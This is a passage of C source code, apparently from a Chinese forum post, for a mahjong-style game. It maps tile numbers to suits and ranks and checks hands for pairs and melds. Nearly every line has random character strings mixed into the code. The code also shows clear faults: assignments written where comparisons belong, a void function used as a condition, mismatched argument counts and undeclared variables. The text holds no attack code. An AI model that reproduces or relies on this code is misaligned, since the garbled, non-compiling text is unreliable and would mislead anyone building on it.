else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)2 N- x0 A2 Q9 ?6 ^' M  i( [* W
logoo=2;
- q7 S4 n# S: selse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
2 f! v0 \, l# ]' \, J; e3 Tlogoo=3;; D9 ]4 i& R0 c* j3 o, P; n
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
. D7 _/ k* ~4 a" L( X/ y0 tlogoo=4;
& T( l0 h( h" I$ }4 i) e' E4 Eelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
7 V4 M; h. ?, D1 Clogoo=5;
2 X0 m' B8 J, e5 pelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
9 ~6 N9 s# Z5 t2 Y2 ^logoo=6;
/ W- r$ g0 q3 c+ [( aelse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)6 U/ X! B( T0 t4 a8 a  P% P7 t0 j
logoo=7;
# R/ S$ }* r5 P* D# jelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64). l$ g! d/ U0 p8 S: \8 h
logoo=8;
7 I0 T9 h/ O( O9 O/ {3 u0 Zelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
1 E% A; U7 w% {$ ^( R. x1 slogoo=9;
1 H, o+ R3 p5 G# v0 ~}
( N$ R+ W4 I2 o4 Zelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
; L# ]4 F7 Q+ u" d! F{6 b' a1 W+ K1 l5 i6 X! q- z
logo=3;
, R4 D+ B; l. Fif(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)2 K4 D% A1 ?% D" I% ^5 I/ Q; Y; Q
logoo=1;' U5 h4 x4 W! n7 a+ e1 H2 f
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
  c! \, O" e8 G6 M7 mlogoo=2;
; r( f* l% U' p' Helse if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
# F( X( j/ S! y& clogoo=3;& y2 r* B: I- ^1 U! d7 l# n  I6 o
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
& g  f0 t3 `$ E9 s; j; ?logoo=4;3 y3 L0 N4 F! ^. V% V
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)- Y9 I2 h' X: y0 T8 y
logoo=5;/ R# K3 _5 ~6 ^0 W
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
+ B3 s: s( J; x0 \! R: m' Elogoo=6;
$ ]5 C' w7 L  m% y! `" Belse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)% |% b5 C% c. j1 I  w9 w! P3 q/ a
logoo=7;
  X: \) e. k# r7 n2 l5 L6 U( xelse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)* n% \7 B+ v; ~4 ^6 `! c* M+ B) O
logoo=8;: r4 x3 n: d& J' s" z4 f
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
1 M  H9 |5 C8 Glogoo=9;- W4 B+ V5 H% [9 \" M( k
}# \/ j6 \, G9 P0 i6 T# x- a
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
0 o) Q# P4 F. \! r$ [) J& |, r) J{' i! x) ~0 {% n/ W; d0 W5 K5 }
logo=4;
7 E' E: J+ _/ Y- v. n" Pif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
7 `6 y, ~5 u. [logoo=1;
7 t7 U% s; d- G2 `. Velse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)5 Q9 z. V. A; [
logoo=2;- b( P* J+ \: d9 I4 X: x& o
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)+ Y# M! c% `- i: U/ Z
logoo=3;
8 O* m" H: H% B8 l* v  q) _7 Melse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)+ u0 h% v) J' s$ A9 X
logoo=4;
& Z* ^( @% R! k1 Z- Uelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
; H; c6 r' u% l& z: O  c8 vlogoo=5;/ O& [% ^9 m% R, ]  B
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)$ J! {; I$ C9 B5 Z* N
logoo=6;+ ]8 j, Y3 p& w6 `# r
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)% X, S3 b' c% ~: t6 o
logoo=7;
- x+ q! S1 g9 [+ ~$ Q}
0 u! L2 x/ N" H4 a. V6 Wwhile(b&lt;=me.m)% y& r4 E: l( G0 y# w( l
{3 I) h* f$ S3 K
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
; ?+ D5 k! w. G" a: t7 ]) L{
1 u* F) e# o( {# M, Zlg=1;
2 v9 y/ Z3 n1 E( Bme.pp.d[0]=1;
$ s9 i6 w, _# {2 G9 P/ H7 N4 d* d1 B" qif(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)& N7 Q- w/ I( f- Y
{5 ?! S7 e* F9 ]* f
lgg=1;
9 x6 d9 p% E8 J/ E; h' [me.pp.d[1]=1;
* L2 c* Z* I: O; Q! G8 b}& M, W& L: I, `# A/ w( T' G
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
. O) J( S% _0 g& s( a. R  l% f{8 o* ~1 ?& j, F7 d1 p
lgg=2;/ H  F4 Z3 U6 `) I6 Q
me.pp.d[1]=2;
% `$ N; h9 u; z' t}
) y& V- B  P: [' D; felse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8), B! S( J/ U( B5 d- v
{
2 ~  ?: F, W0 Olgg=3;
: p9 Z, V' j4 L# K3 @+ L8 J! Vme.pp.d[1]=3;# g; K5 ^, P, m. ^' R& q) S* Q* A, S
}
; F$ G1 Y7 q5 K) k8 Eelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)- }+ I6 ?( H" ~: u( ^# o
{
. V- ^" J0 ~' I- V9 W! I) ]  Nlgg=4;& |* z0 V8 g! Q: c( n
me.pp.d[1]=4;
, ?) n( E# W2 u: Q3 D, a}! {! b( U6 p; e: a: d: z
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)6 p6 w% P- _. g9 T: U3 D
{4 W3 p. n' X" m2 Z5 Z! N
lgg=5;$ u; H' F' l1 v; m! v
me.pp.d[1]=5;
& B* E; |& i* \* P}3 \5 V/ n0 C2 y! D/ G. b2 d8 e- d
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20): c0 t! u5 M, y( a$ M; F) a
{
5 H" I, K& ?' b& [0 plgg=6;
/ x+ W$ G) n2 z+ O; b, p7 A( tme.pp.d[1]=6;
# \$ L4 L% z9 F8 |5 @}
5 s9 @+ W3 i# b) u+ i* Helse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
. i1 L, w: Z% ~{" R( ~/ i" s* K) ?$ m. {, _/ A
lgg=7;% D5 e# v, t# n
me.pp.d[1]=7;
+ _' v6 r- H) y1 l9 O5 e}5 s& r3 x3 h6 u+ B
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
, x! d4 t; j- [# d; J% N{: R1 w; o, b; f7 A
lgg=8;9 x; l; O7 h- w0 w
me.pp.d[1]=8;
! e1 P/ s5 p" H- m: c}9 j) D- G- Y( U( L% M3 W
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
6 M9 @: k0 x, M* ?{! Y5 @$ G, U. J5 e$ d3 U7 r/ G
lgg=9;
8 b- e8 _% f% nme.pp.d[1]=9;
  t2 z4 L/ \0 o}
6 J. @" W, V& L; u2 H3 Q}1 `1 I, ]( `5 N* c- S0 D2 k
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)0 U; }6 Z$ x( s( H, D3 {
{; P9 O* e9 Z: B# J: a
lg=2;+ r/ t( ]2 ?3 _( J
me.pp.d[0]=2;
. S. T7 V4 n/ kif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
/ o/ n- P) M0 O/ Z8 z8 J{
; U! o2 h4 L) F  N& _lgg=1;" O5 Q5 ?9 c5 u8 |1 V( v4 j* O( Z
me.pp.d[1]=1;
; X7 A- _: j% h  {}
, V/ q6 {* x3 l( K$ A. S) I1 lelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
6 C+ m' i  K7 W! x! I' e{
' k4 d7 B& F' }8 {- Tlgg=2;
# Y$ x, v* I& u5 J% Gme.pp.d[1]=2;
8 [9 X2 Y3 x+ e/ g7 i}' \( t/ p( E& G* f! F, e
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44), C0 }9 f7 y2 e, c: U
{
% k4 V0 Z8 s. x/ O$ S+ p1 V4 h+ _lgg=3;
" W5 ]' [* X/ }8 x" S+ e; e0 L7 dme.pp.d[1]=3;5 E6 s; m$ e) A$ g
}* [7 m. Z1 ], ]  `7 p& |6 S
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)8 [- [% V1 v! z" @+ x
{( \0 W. `6 u" u$ D5 U/ j
lgg=4;7 K& U7 r, b- U* I
me.pp.d[1]=4;
/ V; g$ Q" K. Q7 `}
( l% A" }6 T7 a5 z- ~$ y$ ]else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
- D, P% \9 v3 X  c* ]3 z  z: S{
4 ~7 U8 ?' N* j' ^lgg=5;
  u9 t6 G7 ?/ c6 W0 d9 |) cme.pp.d[1]=5;# b% B* S+ _5 v. H, T
}5 g$ Y" E) o& S
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)3 o. A3 e9 E1 S1 _0 n8 e
{
3 M# O3 _9 f  S0 g, N9 ulgg=6;; j3 d$ P" N( B+ J8 c
me.pp.d[1]=6;2 }5 U4 r; R, }/ d6 j" m2 \
}* w1 y+ }! {& _! A% U
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
* {6 P; d. O* a' s5 Y{% p5 B  Q- N3 u2 n( Q6 Q" R
lgg=7;
2 m0 l$ d# S& t" Sme.pp.d[1]=7;
3 K8 @* e3 F# H5 b2 g}
+ O2 p% e5 r/ P0 F6 }0 k/ `else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
* Q: k; t$ ^! i9 S  y$ T) ?{- W( m' r. `) `* C/ q% C6 J
lgg=8;5 {* {" h; X( {- J' P
me.pp.d[1]=8;
+ W! L9 l1 U! U2 e}
! z/ X  j' T6 K7 R1 u0 y5 q9 Kelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
6 z$ a- x4 L. `$ ?; A% g{. t) v& O; }" L7 K$ o
lgg=9;# `# A' `6 K) I  O6 v
me.pp.d[1]=9;
5 I5 ^( F) n& G# E+ O0 e}
% U, d, O$ R' L  ^}
5 A, R0 X4 T3 X* e' |else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
- P, u  ^. O. T# E{
8 d# k3 U  R- ]. Llg=3;
' b$ \' m, E0 t2 b% [me.pp.d[0]=3;
: C, q* Y$ ]- v# _, a* Q4 Eif(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
9 n1 c2 D6 e3 V5 j6 @{" o' ~9 c: V/ B; c
lgg=1;# B% D4 A$ v9 K& d9 N2 c6 A
me.pp.d[1]=1;& M' _/ {1 }$ I/ @: w; \
}8 U# W5 I6 Y, y& V( D7 h
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
& o( u6 H. z: D& u8 |- D{# r9 ]& C- t3 b2 Z9 Y0 W, k, ^5 }! c
lgg=2;" T9 l1 A- h' f7 {+ {
me.pp.d[1]=2;" E6 a% ~* ?+ w
}# b1 e1 s# T( ?; f7 e1 M
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)" [2 a7 _! l% J1 ^$ p
{
4 N; Q5 r6 C& t% t$ S7 F/ Tlgg=3;
5 s: ]/ V& Z9 H. ~" l, Z3 Gme.pp.d[1]=3;
) o$ U* ~% e' v6 Q) X$ J}- j" X6 Q; L& ]  @+ k9 i
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
4 z: l* n) I. u, X: y{
0 e( }, h3 s: i& V7 X- _" t# u% i& m  nlgg=4;, d* L* r, k& O& |4 z
me.pp.d[1]=4;) B6 m8 f+ g' m" E
}0 n! |5 e) ?# J3 }
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)0 h: I( w3 Q" `/ A- y6 _+ t" p" a
{
9 s- H  h: O! @5 f$ c# L: X7 K) Dlgg=5;
, p3 a  z4 D5 X- J6 p% B' Q8 Ime.pp.d[1]=5;3 `' W: K7 Q- a- @: b, P; ~
}
7 n$ H$ y4 r& L  C/ I  p; Celse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)' ?. E! j5 r# c! F! z* n- p2 W2 Z
{
8 U; j$ [! ~( M$ S% l' I% t* J5 Y0 ]lgg=6;
9 |( B, m. S0 V. Z1 B  ?5 z0 W  ~me.pp.d[1]=6;
8 i% H/ Y, b% Q% G5 o}
7 y/ e5 H/ B  \* O: f" {& G9 g; O, ?else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
. A1 n4 j/ M# `5 @6 u{& c4 F. O- C2 I. r% \8 e  l" [7 c
lgg=7;
! s' ?% `  z0 `' r# Nme.pp.d[1]=7;
0 F- `: e" _; D}% A. t" Y. m* u7 v4 Y/ I1 Y
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
5 ?' J6 T* b! t" h+ ?" K' y& R( w{5 M$ ?. Q+ |0 g! Z
lgg=8;
# M9 b% L5 X" fme.pp.d[1]=8;" c" @# s2 R$ R9 v' O
}3 y- t' n5 {  j% }2 m
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104): R2 h$ f  S8 Z) B5 o8 B1 Q
{
: q9 k: M$ i- f! @; z5 O- mlgg=9;, t) }* }" R+ j& c/ k
me.pp.d[1]=9;* ?: Z6 X+ G1 Y6 V% I
}
8 {5 G0 K. H2 a, _}$ z$ f8 S# w2 g1 \- B7 z2 W
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
3 y: P3 S( w" y) `5 E/ q{; i% s* y# W$ b3 l7 Y5 Z+ f% |
lg=4;
6 r7 t$ b# M3 _7 [# j3 qme.pp.d[0]=4;
& C6 U! B3 C. h4 A# E# Q" D8 h1 uif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
) w+ o: m! K0 {. Y. ^$ V; Q3 P% h{& v3 [7 D9 K' G* C
lgg=1;( o; V, ~6 z: U, @( g3 _
me.pp.d[1]=1;0 e7 m- Z7 f+ N& z& w7 y
}0 X$ D: B) n% u) x
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)/ e* p; k! e% N; q& ]/ K) p
{6 u3 d, T% l6 V4 p. @
lgg=2;
- h5 O1 K3 N8 {8 ~5 [1 i- D. ?me.pp.d[1]=2;
4 L2 O9 E3 Q0 \4 C' ?}
, j$ p, c( v" q7 Z& I' Lelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
8 N4 A6 _1 R& K  [# y{) O+ C2 U. V9 K" V% T
lgg=3;% [! g. k2 _% O# Z2 p* Q2 h
me.pp.d[1]=3;
$ D' I1 ?. n  ^! W3 ~}$ Y6 V0 I2 R( m$ r8 x8 d
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
! g8 w0 E( _2 j" R{/ K1 J. A5 y5 H$ m, W4 V
lgg=4;# }$ n( r* g' K; B& J2 R
me.pp.d[1]=4;) \1 k8 G7 @6 ]) ^/ R
}! v. F6 Y: u$ X) H  r! ?
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
! Y! h) G7 Z$ D0 B+ y4 `8 X3 E' S$ n{
, x0 Y  R( `) K7 _lgg=5;6 e; g+ u. y) N+ ]) b. q
me.pp.d[1]=5;2 r7 p7 `! E7 \6 P. F
}  E2 f& a- R2 ~3 S3 ~
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)( @; [3 C9 C5 e% X3 @
{
- ^8 {8 U2 u4 ]8 jlgg=6;
* C% f! I3 B& L. k+ Nme.pp.d[1]=6;' b% C- m6 [  N2 F+ e% @
}8 p2 o( B& a9 ~" J+ V' ?
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
. ~0 c  |0 [' I* m{3 g9 H$ p% r& q* F
lgg=7;
4 ^" ~/ N% W6 ]4 V0 |" B& V7 Fme.pp.d[1]=7;$ ~6 a4 @1 j# z* ^& V8 K9 w# z+ j
}( p9 ~. [( M- V0 c
}  Y' }) H: \! k  K
}
( x) k& `; t% _6 K( k/ `+ \}
/ E$ W  o  u# X; Qvoid istwo(testt)
+ d5 S9 z6 z6 }) a6 bint testt[];
2 [& Y2 K" E4 e" J8 d{ if(testt[0]==testt[1])' z+ d! q8 P# t; |- ^! ^8 q
second++;& s- }, T! R+ o4 s0 S, ?/ Z
}" t. q5 T& G, S* J6 V$ w
void isthree(testt,n)
7 |( ^, Y3 n' |# m% {- h: aint testt[],n=0;
9 ?$ m3 z' [8 p! m1 r{ int i,j,flage=0,lianx=0,same=0;
9 {1 X- {. K. `. Sn=n/3;6 U: J) T- G& p% U  b% [: L% j& m. ~
for(j=0;j&lt;n;j++); J5 v, ~$ j# Y' i
{
" @+ |/ w, p1 x2 r( `for(i=j*3;i&lt;2+j*3;i++)  h1 z: X* N9 e
{* L: L0 L( P/ q! s
if(testt==testt[i+1])
  |. S7 _  x$ ~$ t; \  Y) K7 o- Asame++;/ A; g7 k) l: ?' q: c" j/ M- Z
if(testt[i+1]-testt==1)
  h" G2 j& ~" E, a$ ilianx++;2 f- {  V! F, g$ S- @
}. ?2 G2 S9 _6 z# m+ ?' p# J
if(same==2)
$ S1 F; h9 U( h, ]. dthrees++;
* y; b7 Z3 X% F4 C1 ?# E& e6 Aif(lianx==2)) O+ u2 E2 k/ ~$ x" i
threes++;+ z! v1 f5 o( W" W6 z' X5 a7 C
same=0;0 }, T: D# L5 ?( T
lianx=0;
9 E% n9 H( r$ L0 v}
# g3 I2 h9 K0 d}% e3 r9 E" Z0 ]! S
void panduan() /*本程序的精髓*/- s1 _' t; [+ ]6 w" C
{int data[14];: g6 }8 [- T  k. \
int pw[14];
7 Q7 Z0 k0 o- q6 G1 P2 Z: bint pt[14];
, g9 p. Z$ {  n# A& m' wint pi[14];3 w! U+ a3 }( g/ h' i, A7 [+ _
int pf[14];  U( C' v* H# Y7 L
int test[12];
' q* E5 R/ S4 F7 m3 e# Hint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;7 [0 Z& W1 y6 n' h6 t
for(jj=0;jj&lt;=me.m;jj++)6 I; d8 r( z+ I6 D) _
{
1 }: A! w0 g- x) l4 s2 i1 N1 mif(me.pp[jj].d[0]==1)
( M+ Q4 X3 c4 S6 _% S4 Ndata[jj]=me.pp[jj].d[1];
) p3 ]7 {2 l. w, mif(me.pp[jj].d[0]==2)
) r# V' e- l. X7 S  l" x/ {data[jj]=me.pp[jj].d[1]+10;
+ q) F: h; j- S" r& M8 N* [* ~6 sif(me.pp[jj].d[0]==3)
) s" V7 j: g+ A& l9 c- i# Wdata[jj]=me.pp[jj].d[1]+20;7 T: d" P* t& k! B
if(me.pp[jj].d[0]==4)# h4 N" ~3 j5 F) q
data[jj]=me.pp[jj].d[1]+30;
7 k* q" m4 T7 A# M* ?0 L* T0 C}5 J% Z' C2 I  Z. j+ y9 x$ [
if(logo==2)
; i5 P, x' U3 C0 z5 mw=logoo+10;
. k9 x  X5 X) ^) `9 Cif(logo==3)
; A1 W7 q) T+ k; P; ow=logoo+20;7 Y( l5 X6 [, |: E9 c
if(logo==4)9 O& c" {' G  w
w=logoo+30;
- Y. r9 o) c9 H# S. N# ^data[computer.m+1]=w;) Q* A5 V% k* O. r% E- Z1 [9 V
for(mm=0;mm&lt;=computer.m;mm++)8 X8 w4 [5 G4 z
for(nn=mm;nn&lt;=computer.m;nn++)
! {+ d# i" Z( t0 X5 t% Eif(data[mm]&gt;data[nn+1])2 x3 g# ?/ A  k& ?6 c) e' H
{
. p( \, P1 }" f9 Z, Btpp=data[mm];
" B% e8 o% p$ s& _& Y: Ndata[mm]=data[nn+1];
) ^1 \: h( h! X9 O0 B  Pdata[nn+1]=tpp;) z/ p  H6 }4 {/ C
}3 ]" P! g; @6 I# R2 S
lp=0;
2 F/ |9 i: N% u: x5 D# n/ Owhile(lp&lt;=computer.m)
0 T2 D" i) R8 o8 Z{ if(data[lp]&lt;10)& e6 N# H) ^. ~4 `2 m/ B4 }4 a& m
pw[ww++]=data[lp];
0 i; \" f2 M1 g  bif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
# n; O/ ]3 ?' y# I3 U2 cpt[tt++]=data[lp];
& _4 v, ]$ ~& [0 uif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
/ Q8 y- u- ]/ opi[ii++]=data[lp];
. x6 K. b: p$ D: jif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
1 t3 @% J$ a% Wpf[ff++]=data[lp];; E' P2 ^6 P/ v; F; u
lp++;* N0 ]7 q7 u9 M, g
}
' R; F! y& {) `1 r% _# ?/ ]if(ww==2)2 a& k% y/ }+ S, K7 {+ m/ X
istwo(pw);% O1 E+ F3 z) `
else if(ww==3)1 [/ ]7 @  k2 ]0 w" u* s7 C
isthree(pw,ww);
# e8 y% V5 j6 P. s/ \2 X' ielse if(ww==5)% |! c7 V8 d; ^* R0 |
/*pw[5]原始牌数组,假设已经升序排列*/
. V( [- K6 A7 e( V/*test[3]用来放置测试牌的数组*/- ^8 y0 i2 Y- Q3 Y. q/ r( M& b
for(i=0;i&lt;4;i++)" Q" l( j$ P1 j9 e
{6 z' G: p' y% A
for(j=0;j&lt;2;j++)7 G( B# L" x8 o2 Q8 H
{test[j]=pw[i+j];
! N, n2 |" R- ^: _) }}
% z% R" l. W$ n+ X9 @$ Iif(istwo(test))
- ?' _1 ?: ?. w% R2 I4 X2 _7 c* T{ ill=0;9 {7 q6 s9 D) E, H# i
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/& I) R6 F9 d4 H/ h" `
{if(kl==i)
  m! N3 G& r9 D- d{
1 F- Z' g! ~8 a' ~! L+ skl=kl+2;" j) @8 i- Y) j- P  c# S
if(kl==5)
/ r9 R/ X4 o" l3 o" A9 Z# abreak;
8 X; L2 z0 L; |/ V, i}
0 z7 V* Z' I. B3 P$ ltest[ill++]=pw[kl];
) V" ^  l. Q; F& \# m  W}
2 L' X+ b: D' ~7 R8 z1 Nisthree(test);; n+ R$ \: E( p9 x* N7 B
}
, g7 B) ?1 Y4 D/ ]9 Y+ d/ z* W}  @1 |/ C7 k4 L$ Q3 E
else if(ww==6)
. o# U3 c% S" O' L6 l6 ~2 `isthree(pw,ww);
( B; L7 l, _2 `. b( D- d6 S% t3 nelse if(ww==8)
% a1 x$ ~  U* a  n0 e( Tfor(i=0;i&lt;7;i++)
' B; j& w" X5 j4 ^' j, Q8 u6 C0 S{
3 K; ?  o1 w+ ]1 n4 Qfor(j=0;j&lt;2;j++)5 V! F8 ~6 E1 ~+ v( a
{test[j]=pw[i+j]; # D  I$ q5 S1 N# z
}4 V5 W0 X+ q+ {& p! r
if(istwo(test))
8 v0 I1 W7 z2 h2 i* i5 H. C) s{ ill=0;
  Y3 t6 L; D$ L2 F: Z8 |; |' q8 Ffor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
5 Y" Z3 A& N+ I4 A7 [% |& n+ l! m{if(kl==i)( O& e/ U! @8 I4 ^* b- @. v4 i5 b
{
2 j7 D6 E$ B5 A( x4 R; b$ Rkl=kl+2;
- }( _7 x* f* _' [9 S0 a  Qif(kl==8)4 X; [$ Q5 z1 Z3 t% W0 P
break;
7 w& @0 `! D. {3 M9 i}2 d1 h( p' G! t/ i2 C2 }
test[ill++]=pw[kl];: s& Q! s; n1 e) J/ {! }
}1 t; Z8 Z# I' v/ `+ }: p
isthree(test,ww-2); 8 g! p# o& e* P1 j: t8 ?3 G
}" h4 J' e) [8 ~+ Q* O
} & }5 G, D' _6 p& F0 [! ~
else if(ww==9)
2 S, r+ n* X% u3 w0 Q+ a/ Gisthree(pw,ww);# f7 k$ n6 ?. i( U
else if(ww==11)  r* R9 K9 {, C, j9 `
for(i=0;i&lt;10;i++)( N* q' q/ m/ E
{
. e  j( r6 {7 X# Vfor(j=0;j&lt;2;j++)
9 T( x8 Z3 J+ d* }{test[j]=pw[i+j]; ; ~0 B) D( x6 m% m1 T
}1 I. M: Q( @$ w- C# T
if(istwo(test))
! l% E; ?6 E9 @. Q. E{ ill=0;2 a0 Z! E: m6 F. D9 q8 _* r4 m
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
3 ~( q2 M0 R: t3 H  I# v{if(kl==i)8 ^% z3 a3 S: C$ ?) J
{
5 e- @! X; q- ukl=kl+2;
0 x5 x0 U& K4 L- ~" l5 e7 l8 fif(kl==11)! g8 A( m# p2 t2 G! P, s7 `6 v
break;" n, Y; N+ h0 ?8 D' l. L
}2 X* w9 K$ _. U2 \  Q6 j7 ^! y
test[ill++]=pw[kl];- D0 M$ i$ m/ _, C5 X5 C. }5 a
}
  X  r/ }6 \9 p- `" qisthree(test,ww-2);
- ]- {0 l2 M4 z/ Q" d4 H1 r. o}
/ A7 ^0 n0 x4 J) N1 c7 l# y' u9 A4 N} . j: M  i" E* n1 ]) \8 K
else if(ww=12)
4 c' ?) n* X9 b  P7 c% Uisthree(pw,ww);: ?  d/ B/ R. B  a/ n
else if(ww=14)
+ d, \- `1 L8 b# Qfor(i=0;i&lt;13;i++)$ U9 D5 ^0 p! }% E1 }) x
{
8 N8 `9 k& M! t# u  tfor(j=0;j&lt;2;j++)
' X) F0 n" @: H/ |7 Q) g. _- h/ q5 U{test[j]=pw[i+j];3 c# e2 Z+ D- N' @& M6 r& u' k: G+ p# M
}
  H' K' ?7 Y; P6 o3 sif(istwo(test))9 T. d% g' q( D4 k
{ ill=0;1 A8 K; S: W" p. k" _
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
4 B) u) X% Y* @, a4 c{if(kl==i)0 \/ S! N7 p3 h5 H- v; |  w( I
{
% k5 e+ R) e* Qkl=kl+2;
( g# P, t) B! _9 g# D6 \if(kl==14)) D8 u* }. }/ C  h3 P
break;4 \5 T. X. P4 F; k( m& r
}6 V, T5 o4 G# m. b! a
test[ill++]=pw[kl];
1 @: h$ `0 F1 t( \. j- x}$ N: P9 x; C1 e  N, [* l1 j8 W; r
isthree(test,ww-2);
5 y! @/ c" R/ O}& o" Z. Y* f# l/ M2 ?
}0 E4 L+ r4 r6 L+ F
if(tt==2)
. x, @$ c) ^% q9 cistwo(pt);
, d0 @" {/ C( r+ A* `5 D' @else if(tt==3)1 S; r8 j7 u; a, h
isthree(pt,tt);' z/ ^9 S! S. p7 Y$ q4 h, {4 b% j
else if(tt==5)
) L' H8 x3 P9 n: ^- Q/*pt[5]原始牌数组,假设已经升序排列*/
+ N' |8 ]( I  C8 t; y/*test[3]用来放置测试牌的数组*/
" g1 f. r) l2 v* _( Gfor(i=0;i&lt;4;i++)% w; \6 }! u! i! [& r
{$ G. Y- N$ `. ~2 c9 R1 h. K
for(j=0;j&lt;2;j++)
4 W4 g( V3 U. O{test[j]=pt[i+j];
1 j+ l. Y! ?- a0 i. H( }/ ~}1 _8 u6 f/ r- n4 {/ a$ w/ w1 j% r
if(istwo(test))1 X/ a9 v$ Y3 m8 r% g4 m
{ ill=0;# Y: [. r" {% N( a1 T& N8 X$ g
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
" s5 h# {7 K* _9 u{if(kl==i)" C1 H4 k. Y9 g/ b; @9 w# X
{
3 E- J& g. ^# J0 x# a% Nkl=kl+2;
7 Q# D4 R+ b  w' p5 g8 ]if(kl==5)& G, M0 H( \6 M7 M: _5 @1 Y. t
break;
3 a6 R3 S4 E. d6 U- s}1 L1 L  U; v, j/ [, D: C
test[ill++]=pt[kl];
4 |. z: t1 b* k( C}& _  l6 Q: k) ^: T8 Y  \1 B
isthree(test);2 |2 Z! c" F' D" l
}" k7 x+ M; t" P
}
: K6 m- b, H! _4 ~  helse if(tt==6)0 ]9 B; a1 G, E
isthree(pt,tt);
$ Q; w( `9 H( O1 I9 Z! helse if(tt==8)
4 ?5 p: {! r& O1 x( O3 `for(i=0;i&lt;7;i++)
9 @8 q% M# `) }; Q, X& Y- g{" x" ~& Y2 Z5 ^- g
for(j=0;j&lt;2;j++)3 _; R* b; N# K) _$ t, v
{test[j]=pt[i+j];
! |; A, N) q1 x' n, R}
9 `; }' f$ k  U: Sif(istwo(test))+ X! K. G* C& c$ A' C, ]5 T; i
{ ill=0;
